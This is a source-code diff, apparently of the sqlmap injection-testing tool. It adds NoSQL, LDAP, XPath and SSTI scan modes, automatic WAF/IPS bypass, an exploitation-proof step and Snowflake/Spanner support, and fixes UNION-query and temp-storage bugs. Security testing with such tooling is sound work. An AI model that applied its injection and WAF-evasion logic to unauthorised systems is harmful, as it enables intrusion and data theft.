+            if conf.nosql:
+                from lib.techniques.nosql.inject import nosqlScan
+                nosqlScan()
+                continue
+
+            if conf.ldap:
+                from lib.techniques.ldap.inject import ldapScan
+                ldapScan()
+                continue
+
+            if conf.xpath:
+                from lib.techniques.xpath.inject import xpathScan
+                xpathScan()
+                continue
+
+            if conf.ssti:
+                from lib.techniques.ssti.inject import sstiScan
+                sstiScan()
+                continue
+
             if conf.nullConnection:
                 checkNullConnection()
 
@@ -605,6 +715,14 @@ def start():
                                 logger.info(infoMsg)
 
                                 injection = checkSqlInjection(place, parameter, value)
+
+                                # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
+                                # the standard payloads were blocked -> try to auto-bypass it (request
+                                # fingerprint neutralization and/or a tamper script)
+                                if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
+                                   and not conf.tamper and not kb.tamperFunctions:
+                                    injection = _autoWafBypass(place, parameter, value) or injection
+
                                 proceed = not kb.endDetection
                                 injectable = False
 
@@ -704,9 +822,13 @@ def start():
                         errMsg += "does not match exclusively True responses."
 
                     if not conf.tamper:
-                        errMsg += " If you suspect that there is some kind of protection mechanism "
-                        errMsg += "involved (e.g. WAF) maybe you could try to use "
-                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
+                        if kb.identifiedWafs:
+                            errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
+                            errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
+                        else:
+                            errMsg += " If you suspect that there is some kind of protection mechanism "
+                            errMsg += "involved (e.g. WAF) maybe you could try to use "
+                            errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
 
                         if not conf.randomAgent:
                             errMsg += " and/or switch '--random-agent'"
@@ -729,7 +851,12 @@ def start():
                     condition = True
 
                 if condition:
-                    action()
+                    try:
+                        action()
+                    finally:
+                        if conf.proof:
+                            from lib.utils.prove import proveExploitation
+                            proveExploitation()
 
         except KeyboardInterrupt:
             if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):

lib/controller/handler.py

@@ -41,64 +41,40 @@ from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
-from plugins.dbms.access.connector import Connector as AccessConn
 from plugins.dbms.access import AccessMap
-from plugins.dbms.altibase.connector import Connector as AltibaseConn
 from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.cache.connector import Connector as CacheConn
 from plugins.dbms.cache import CacheMap
-from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn
 from plugins.dbms.clickhouse import ClickHouseMap
-from plugins.dbms.cratedb.connector import Connector as CrateDBConn
 from plugins.dbms.cratedb import CrateDBMap
-from plugins.dbms.cubrid.connector import Connector as CubridConn
 from plugins.dbms.cubrid import CubridMap
-from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.db2 import DB2Map
-from plugins.dbms.derby.connector import Connector as DerbyConn
 from plugins.dbms.derby import DerbyMap
-from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
 from plugins.dbms.extremedb import ExtremeDBMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
 from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
 from plugins.dbms.frontbase import FrontBaseMap
-from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.h2 import H2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
 from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.informix.connector import Connector as InformixConn
 from plugins.dbms.informix import InformixMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
 from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.mckoi.connector import Connector as MckoiConn
 from plugins.dbms.mckoi import MckoiMap
-from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
 from plugins.dbms.mimersql import MimerSQLMap
-from plugins.dbms.monetdb.connector import Connector as MonetDBConn
 from plugins.dbms.monetdb import MonetDBMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
 from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
 from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
 from plugins.dbms.oracle import OracleMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
 from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.presto.connector import Connector as PrestoConn
 from plugins.dbms.presto import PrestoMap
-from plugins.dbms.raima.connector import Connector as RaimaConn
 from plugins.dbms.raima import RaimaMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
 from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
 from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.vertica.connector import Connector as VerticaConn
 from plugins.dbms.vertica import VerticaMap
-from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
 from plugins.dbms.virtuoso import VirtuosoMap
+from plugins.dbms.snowflake import SnowflakeMap
+from plugins.dbms.spanner import SpannerMap
 
 def setHandler():
     """
@@ -107,34 +83,36 @@ def setHandler():
     """
 
     items = [
-        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
-        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
-        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
-        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
-        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
-        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
-        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
-        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
-        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
-        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
-        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
-        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
-        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
-        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
-        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
-        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
-        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
-        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
-        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
-        (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn),
-        (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
-        (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
-        (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
-        (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
-        (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
-        (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
-        (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
+        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
+        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
+        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"),
+        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"),
+        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"),
+        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"),
+        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"),
+        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"),
+        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"),
+        (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"),
+        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"),
+        (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"),
+        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"),
+        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"),
+        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"),
+        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"),
+        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"),
+        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"),
+        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"),
+        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"),
+        (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"),
+        (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"),
+        (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"),
+        (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"),
+        (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"),
+        (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"),
+        (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
+        (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
+        (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
+        (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
@@ -142,7 +120,7 @@ def setHandler():
         items.remove(_)
         items.insert(0, _)
 
-    for dbms, aliases, Handler, Connector in items:
+    for dbms, aliases, Handler, connector in items:
         if conf.forceDbms:
             if conf.forceDbms.lower() not in aliases:
                 continue
@@ -154,9 +132,12 @@ def setHandler():
                 continue
 
         handler = Handler()
-        conf.dbmsConnector = Connector()
+        conf.dbmsConnector = None
 
         if conf.direct:
+            _ = __import__(connector, fromlist=['Connector'])
+            conf.dbmsConnector = _.Connector()
+
             exception = None
             dialect = DBMS_DICT[dbms][3]
 

lib/core/agent.py

@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
+from lib.core.settings import MYSQL_UNION_VALUE_CAST
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
@@ -69,9 +70,9 @@ class Agent(object):
         query = self.cleanupPayload(query)
 
         if query.upper().startswith("AND "):
-            query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
+            query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
         elif query.upper().startswith(" UNION ALL "):
-            query = re.sub(r"(?i) UNION ALL ", "", query, 1)
+            query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
         elif query.startswith("; "):
             query = query.replace("; ", "", 1)
 
@@ -203,7 +204,7 @@ class Agent(object):
                 origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-            _ = "%s%s" % (origValue, kb.customInjectionMark)
+            _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
 
             if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
                 newValue = '"%s"' % self.addPayloadDelimiters(newValue)
@@ -220,7 +221,7 @@ class Agent(object):
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             if base64Encoding:
                 retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
-                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
+                match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
                 if match:
                     retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
             else:
@@ -410,6 +411,9 @@ class Agent(object):
         """
 
         if payload:
+            if Backend.isDbms(DBMS.SPANNER):
+                payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
+
             for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                 _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                 payload = payload.replace(match.group(0), _)
@@ -673,6 +677,49 @@ class Agent(object):
             pass
         return retVal
 
+    @staticmethod
+    def _collapseFieldDelimiterSpace(query):
+        """
+        Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
+        single/double quoted string literals, so a comma-space inside a literal (e.g. in a
+        WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
+        mirrors splitFields()/zeroDepthSearch().
+
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
+        'SELECT a,b FROM t'
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
+        "SELECT a,b FROM t WHERE name='John, Jr'"
+        """
+
+        retVal = []
+        quote = None
+        index = 0
+        length = len(query)
+
+        while index < length:
+            char = query[index]
+            if quote:
+                retVal.append(char)
+                if char == quote:
+                    if index + 1 < length and query[index + 1] == quote:  # escaped quote (e.g. '')
+                        retVal.append(query[index + 1])
+                        index += 2
+                        continue
+                    else:
+                        quote = None
+            elif char in ('"', "'"):
+                quote = char
+                retVal.append(char)
+            elif char == ',' and index + 1 < length and query[index + 1] == ' ':
+                retVal.append(',')  # keep the delimiter, drop the single trailing space
+                index += 2
+                continue
+            else:
+                retVal.append(char)
+            index += 1
+
+        return "".join(retVal)
+
     def concatQuery(self, query, unpack=True):
         """
         Take in input a query string and return its processed nulled,
@@ -701,7 +748,7 @@ class Agent(object):
 
         if unpack:
             concatenatedQuery = ""
-            query = query.replace(", ", ',')
+            query = self._collapseFieldDelimiterSpace(query)
             fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
             castedFields = self.nullCastConcatFields(fieldsToCastStr)
             concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
@@ -724,7 +771,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -822,9 +869,9 @@ class Agent(object):
 
         return concatenatedQuery
 
-    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
+    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
         """
-        Take in input an query (pseudo query) string and return its
+        Take in input a query (pseudo query) string and return its
         processed UNION ALL SELECT query.
 
         Examples:
@@ -864,10 +911,21 @@ class Agent(object):
         if query.startswith("SELECT "):
             query = query[len("SELECT "):]
 
+        # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
+        # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
+        # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
+        # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
+        # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
+        # older versions there is no such collation clash to begin with (unknown version => assumed recent).
+        collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
+
+        def _collate(value):
+            return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
+
         unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
 
         if limited:
-            unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
+            unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
             unionQuery += fromTable
             unionQuery = self.suffixQuery(unionQuery, comment, suffix)
 
@@ -897,6 +955,9 @@ class Agent(object):
         else:
             infoFile = None
 
+        if not infoFile:
+            query = _collate(query)
+
         for element in xrange(0, count):
             if element > 0:
                 unionQuery += ','
@@ -925,7 +986,7 @@ class Agent(object):
                     unionQuery += ','
 
                 if element == position:
-                    unionQuery += multipleUnions
+                    unionQuery += _collate(multipleUnions)
                 else:
                     unionQuery += char
 
@@ -961,7 +1022,9 @@ class Agent(object):
                         stopLimit = limitRegExp.group(int(limitGroupStop))
                     elif limitRegExp2:
                         startLimit = 0
-                        stopLimit = limitRegExp2.group(int(limitGroupStart))
+                        # Note: query2 (LIMIT without OFFSET) always has exactly one group (the
+                        # count); using limitGroupStart here would IndexError for H2 (groupstart=2)
+                        stopLimit = limitRegExp2.group(1)
                 limitCond = int(stopLimit) > 1
 
             elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
@@ -1045,7 +1108,7 @@ class Agent(object):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE):
+        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
             limitedQuery += " %s" % limitStr
 
@@ -1063,7 +1126,7 @@ class Agent(object):
                 original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
                 for part in original.split(','):
                     if re.search(r"\b%s\b" % re.escape(field), part):
-                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
                         replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
                         limitedQuery = replacement
                         break
@@ -1114,7 +1177,7 @@ class Agent(object):
             limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
             limitedQuery += "=%d" % (num + 1)
 
-        elif Backend.isDbms(DBMS.MSSQL):
+        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             forgeNotIn = True
 
             if " ORDER BY " in limitedQuery:
@@ -1226,6 +1289,9 @@ class Agent(object):
     def removePayloadDelimiters(self, value):
         """
         Removes payload delimiters from inside the input string
+
+        >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1"
+        True
         """
 
         return value.replace(PAYLOAD_DELIMITER, "") if value else value
@@ -1233,6 +1299,9 @@ class Agent(object):
     def extractPayload(self, value):
         """
         Extracts payload from inside of the input string
+
+        >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1"
+        True
         """
 
         _ = re.escape(PAYLOAD_DELIMITER)
@@ -1257,7 +1326,10 @@ class Agent(object):
             if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
                 prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
+                # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
+                # mistaken for the suffix and the WHERE is not spliced into the wrong place
+                match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
                 if match:
                     suffix = match.group(0)
                     prefix = query[:-len(suffix)]

lib/core/bigarray.py

@@ -93,6 +93,10 @@ class BigArray(list):
     >>> _ = __
     >>> _[-1]
     1
+    >>> _.pop()
+    1
+    >>> len(_)
+    100001
     >>> len([_ for _ in BigArray(xrange(100000))])
     100000
     """
@@ -147,13 +151,32 @@ class BigArray(list):
         with self._lock:
             if not self.chunks[-1] and len(self.chunks) > 1:
                 self.chunks.pop()
+                filename = self.chunks[-1]
+                idx = len(self.chunks) - 1
+
+                if self.cache and self.cache.index == idx and self.cache.dirty:
+                    self.chunks[-1] = self.cache.data
+                    self.cache.dirty = False
+                else:
+                    try:
+                        with open(filename, "rb") as f:
+                            self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                    except IOError as ex:
+                        errMsg = "exception occurred while retrieving data "
+                        errMsg += "from a temporary file ('%s')" % ex
+                        raise SqlmapSystemException(errMsg)
+
                 try:
-                    with open(self.chunks[-1], "rb") as f:
-                        self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
-                except IOError as ex:
-                    errMsg = "exception occurred while retrieving data "
-                    errMsg += "from a temporary file ('%s')" % ex
-                    raise SqlmapSystemException(errMsg)
+                    self._os_remove(filename)
+                    self.filenames.discard(filename)
+                except OSError:
+                    pass
+
+                # Note: the formerly on-disk chunk is now an in-memory list (and its file has been
+                # removed), so any cache entry still pointing at it is stale; dropping it prevents
+                # serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
+                if isinstance(self.cache, Cache) and self.cache.index == idx:
+                    self.cache = None
 
         return self.chunks[-1].pop()
 
@@ -187,16 +210,15 @@ class BigArray(list):
         try:
             handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
             self.filenames.add(filename)
-            os.close(handle)
-            with open(filename, "w+b") as f:
+            with os.fdopen(handle, "w+b") as f:
                 f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
             errMsg += "to a temporary file ('%s'). Please " % ex
-            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "make sure that there is enough disk space left. If the problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
-            errMsg += "writeable by the current user"
+            errMsg += "writable by the current user"
             raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
@@ -204,9 +226,19 @@ class BigArray(list):
             self.cache = None
 
         if (self.cache and self.cache.index != index and self.cache.dirty):
+            old_filename = self.chunks[self.cache.index]
             filename = self._dump(self.cache.data)
             self.chunks[self.cache.index] = filename
 
+            # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
+            # cross-chunk dirty flush orphans one temp file on disk and in self.filenames
+            if isinstance(old_filename, STRING_TYPES):
+                try:
+                    self._os_remove(old_filename)
+                    self.filenames.discard(old_filename)
+                except OSError:
+                    pass
+
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
@@ -217,12 +249,22 @@ class BigArray(list):
                 raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
-        if self.cache and self.cache.dirty:
-            filename = self._dump(self.cache.data)
-            self.chunks[self.cache.index] = filename
-            self.cache.dirty = False
+        with self._lock:
+            if self.cache and self.cache.dirty:
+                old_filename = self.chunks[self.cache.index]
+                filename = self._dump(self.cache.data)
+                self.chunks[self.cache.index] = filename
 
-        return self.chunks, self.filenames, self.chunk_length
+                if isinstance(old_filename, STRING_TYPES):
+                    try:
+                        self._os_remove(old_filename)
+                        self.filenames.discard(old_filename)
+                    except OSError:
+                        pass
+
+                self.cache.dirty = False
+
+            return self.chunks, self.filenames, self.chunk_length
 
     def __setstate__(self, state):
         self.__init__()
@@ -305,11 +347,29 @@ class BigArray(list):
         return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__())
 
     def __iter__(self):
-        for i in xrange(len(self)):
-            try:
-                yield self[i]
-            except IndexError:
-                break
+        with self._lock:
+            chunks = list(self.chunks)
+            cache_index = self.cache.index if isinstance(self.cache, Cache) else None
+            cache_data = self.cache.data if isinstance(self.cache, Cache) else None
+
+        for idx, chunk in enumerate(chunks):
+            if isinstance(chunk, list):
+                for item in chunk:
+                    yield item
+            else:
+                try:
+                    if cache_index == idx and cache_data is not None:
+                        data = cache_data
+                    else:
+                        with open(chunk, "rb") as f:
+                            data = pickle.loads(zlib.decompress(f.read()))
+                except Exception as ex:
+                    errMsg = "exception occurred while retrieving data "
+                    errMsg += "from a temporary file ('%s')" % ex
+                    raise SqlmapSystemException(errMsg)
+
+                for item in data:
+                    yield item
 
     def __len__(self):
         return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])

lib/core/common.py

@@ -13,6 +13,7 @@ import contextlib
 import copy
 import functools
 import getpass
+import hmac
 import hashlib
 import inspect
 import io
@@ -49,6 +50,7 @@ from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import codecs_open
 from lib.core.compat import LooseVersion
+from lib.core.compat import RecursionError
 from lib.core.compat import round
 from lib.core.compat import xrange
 from lib.core.convert import base64pickle
@@ -106,7 +108,6 @@ from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
 from lib.core.settings import BANNER
 from lib.core.settings import BOLD_PATTERNS_REGEX
-from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
@@ -130,7 +131,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
 from lib.core.settings import GIT_PAGE
-from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
+from lib.core.settings import GITHUB_REPORT_PAT_TOKEN
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
@@ -175,6 +176,9 @@ from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SENSITIVE_DATA_REGEX
 from lib.core.settings import SENSITIVE_OPTIONS
 from lib.core.settings import STDIN_PIPE_DASH
+from lib.core.settings import STRUCTURAL_CLASS_REGEX
+from lib.core.settings import STRUCTURAL_ID_REGEX
+from lib.core.settings import STRUCTURAL_TAG_REGEX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import TEXT_TAG_REGEX
 from lib.core.settings import TIME_STDEV_COEFF
@@ -463,11 +467,11 @@ class Backend(object):
     @staticmethod
     def setArch():
         msg = "what is the back-end database management system architecture?"
-        msg += "\n[1] 32-bit (default)"
